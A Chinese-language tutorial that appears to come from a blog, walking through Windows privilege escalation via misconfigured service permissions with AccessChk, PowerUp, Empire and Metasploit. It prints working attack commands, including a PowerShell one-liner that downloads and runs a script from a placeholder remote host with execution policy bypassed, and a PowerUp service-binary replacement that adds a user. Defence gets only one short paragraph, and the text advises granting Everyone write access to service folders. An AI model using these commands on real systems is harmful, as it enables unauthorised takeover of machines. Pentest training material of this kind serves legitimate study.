Windows系统服务权限配置错误漏洞提权

目录

  • 漏洞介绍
    • AccessChk工具介绍
    • AccessChk常用参数
  • 漏洞检查
    • AccessChk工具检查
    • Powerup脚本检查
    • Empire powerup模块检查
    • MSF 上传脚本扫描
  • 漏洞利用
  • 漏洞防范
  • 如何创建服务
  • 删除服务
  • 参考文献

漏洞介绍

系统服务权限配置错误,在Windows系统中的服务权限都配置的那么完美总会有被忽视的地方,这些没有得到严格保护的系统服务,往往会被攻击者利用,系统服务权限设置有问题时,往往会导致如下风险,1、服务未运行攻击者会利用生成的服务替换掉原来的服务重启后提权,2、服务运行无法停止攻击者会利用dll劫持的方式重启服务进行提权,下面介绍的是服务未运行的方式进行提权。

AccessChk工具介绍

AccessChk是微软提供的一款安全检查工具,是Sysintenals集合中的一款工具,使用它可以对Windows系统中的一些系统文件、服务、注册表等进行管理和维护排查等功能,可以很直观清晰的发现系统资源存在的缺陷,对其进行提权等,所以往往会被攻击者利用。

AccessChk常用参数

-c Name是服务名称,如spooler
-d 仅处理目录,或最高级的
-k Name是注册表项
-n 仅显示没有访问权限的对象
-p Name是进程或进程PID,例如svchost.exe
-r 仅显示具有读取访问权限的对象
-s 递归
-v 显示详细信息
-w 仅显示具有写入访问权限的对象

漏洞检查

AccessChk工具检查

执行如下命令,攻击者可以用最高权限访问该目录,执行该目录下的恶意文件
Windows系统服务权限配置错误漏洞提权_第1张图片
第一次运行accesschk弹出一个许可协议对话框,输入accesschk.exe /accepteula可以自动接受协议
查看windows7系统中系统缺陷文件夹

Accesschk.exe -uwqs “AuthenticatedUsers” \
Accesschk.exe -uwdpsUsers \

Windows系统服务权限配置错误漏洞提权_第2张图片
Windows系统服务权限配置错误漏洞提权_第3张图片
查看windows7系统中系统缺陷文件

Accesschk.exe -uwdpsUsers C:\*.*
Accesschk.exe -uwqs “AuthenticatedUsers” C:\Windows\*.* 

Windows系统服务权限配置错误漏洞提权_第4张图片
Windows系统服务权限配置错误漏洞提权_第5张图片

Powerup脚本检查

Powerspolit中的powerup.ps1脚本扫描系统文件、服务等缺陷漏洞。
Windows系统服务权限配置错误漏洞提权_第6张图片

Empire powerup模块检查

Empire中的powerup模块扫描系统文件、服务等缺陷漏洞。
Windows系统服务权限配置错误漏洞提权_第7张图片

MSF 上传脚本扫描

通过msf上传PowerUp脚本执行allchecks
执行脚本:

powershell.exe -exec bypass "IEX (New-Object Net.Webclient).DownloadString('C:\Users\Admin\Desktop\PowerUp.ps1'); Invoke-AllChecks"

powershell.exe -nop -exec bypass  -c "IEX (New-Object Net.Webclient).DownloadString('http://x.x.x.x/x/x/x/powerup.ps1'); Invoke-AllChecks"

Windows系统服务权限配置错误漏洞提权_第8张图片

漏洞利用

Empire或者PowerUp脚本扫描一下是否存在漏洞服务
Windows系统服务权限配置错误漏洞提权_第9张图片

将msf刚刚上传的PowerUp脚本进行利用

powershell.exe -exec bypass "IEX (New-Object Net.Webclient).DownloadString('C:\Users\Admin\Desktop\PowerUp.ps1'); Install-ServiceBinary -ServiceName 'pentest' -UserName insec -PassWord 123456"

Windows系统服务权限配置错误漏洞提权_第10张图片
Windows系统服务权限配置错误漏洞提权_第11张图片

Msf中的service_permissions模块对有缺陷的服务进行提权,设置AGGRESSIVE为true的时候会可在第一次提权后继续提权测试,false的时候相反第一次提权后停止提权,返回一个meterpreter
Windows系统服务权限配置错误漏洞提权_第12张图片
Windows系统服务权限配置错误漏洞提权_第13张图片

使用Empire提权选择在得到一个agent(session)后,选择privesc/powerup/service_exe_stager模块,info设置参数

Set Agent ##获取到的agents
Set Listener ##设置的Listener
Set ServiceName ##有缺陷的服务
Execute ##执行

Windows系统服务权限配置错误漏洞提权_第14张图片

提权成功,前边小星号代表提权成功,如果一遍提权不成功多重启两下服务
Windows系统服务权限配置错误漏洞提权_第15张图片

最后注意事项!!!!!一定要把服务所在文件或文件夹的权限设为很高的权限,如将Everyone组设为读取、写入、执行等高权限否则提权不成功。

漏洞防范

一定要严格把控好Windows服务的执行权限,如普通用户只有读取或没有权限,只有超级system用户能有最高的权限,其他用户均未低权限,严格把控服务路径的命名规则。

如何创建服务

sc create xxx binpath= "C:\Program Files\xx\xx.exe (执行文件目录后面可以加执行文件的参数)" displayname= "pentest"(显示名称) start= auto

创建成功
在这里插入图片描述
结果这个服务起不来换个方式
利用工具创建服务
工具instsrv.exe和srvany.exe
下载链接: http://www.techeez.com/windows-tips/techeez-com-31/

Instsrv.exe 服务名称 C:\Windows\ssrvany.exe

Windows系统服务权限配置错误漏洞提权_第16张图片
1、Regedit.exe打开注册表到路径下
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services[service name]
2、右击“服务名”-“新建”-“项”命名为“Parameters”
3、右击“Parameters” -“新建”-“字符串值”命名为“Application”
在这里插入图片描述
4、右击“Application”-“新建”-“修改”,修改为自己应用程序的绝对路径
Windows系统服务权限配置错误漏洞提权_第17张图片
5、重启电脑就可以看到启动的服务了
在这里插入图片描述

删除服务

Sc delete 服务名称
Instsrv.exe 服务名称 remove

参考文献

http://www.techeez.com/windows-tips/techeez-com-31/

你可能感兴趣的:(Windows系统安全)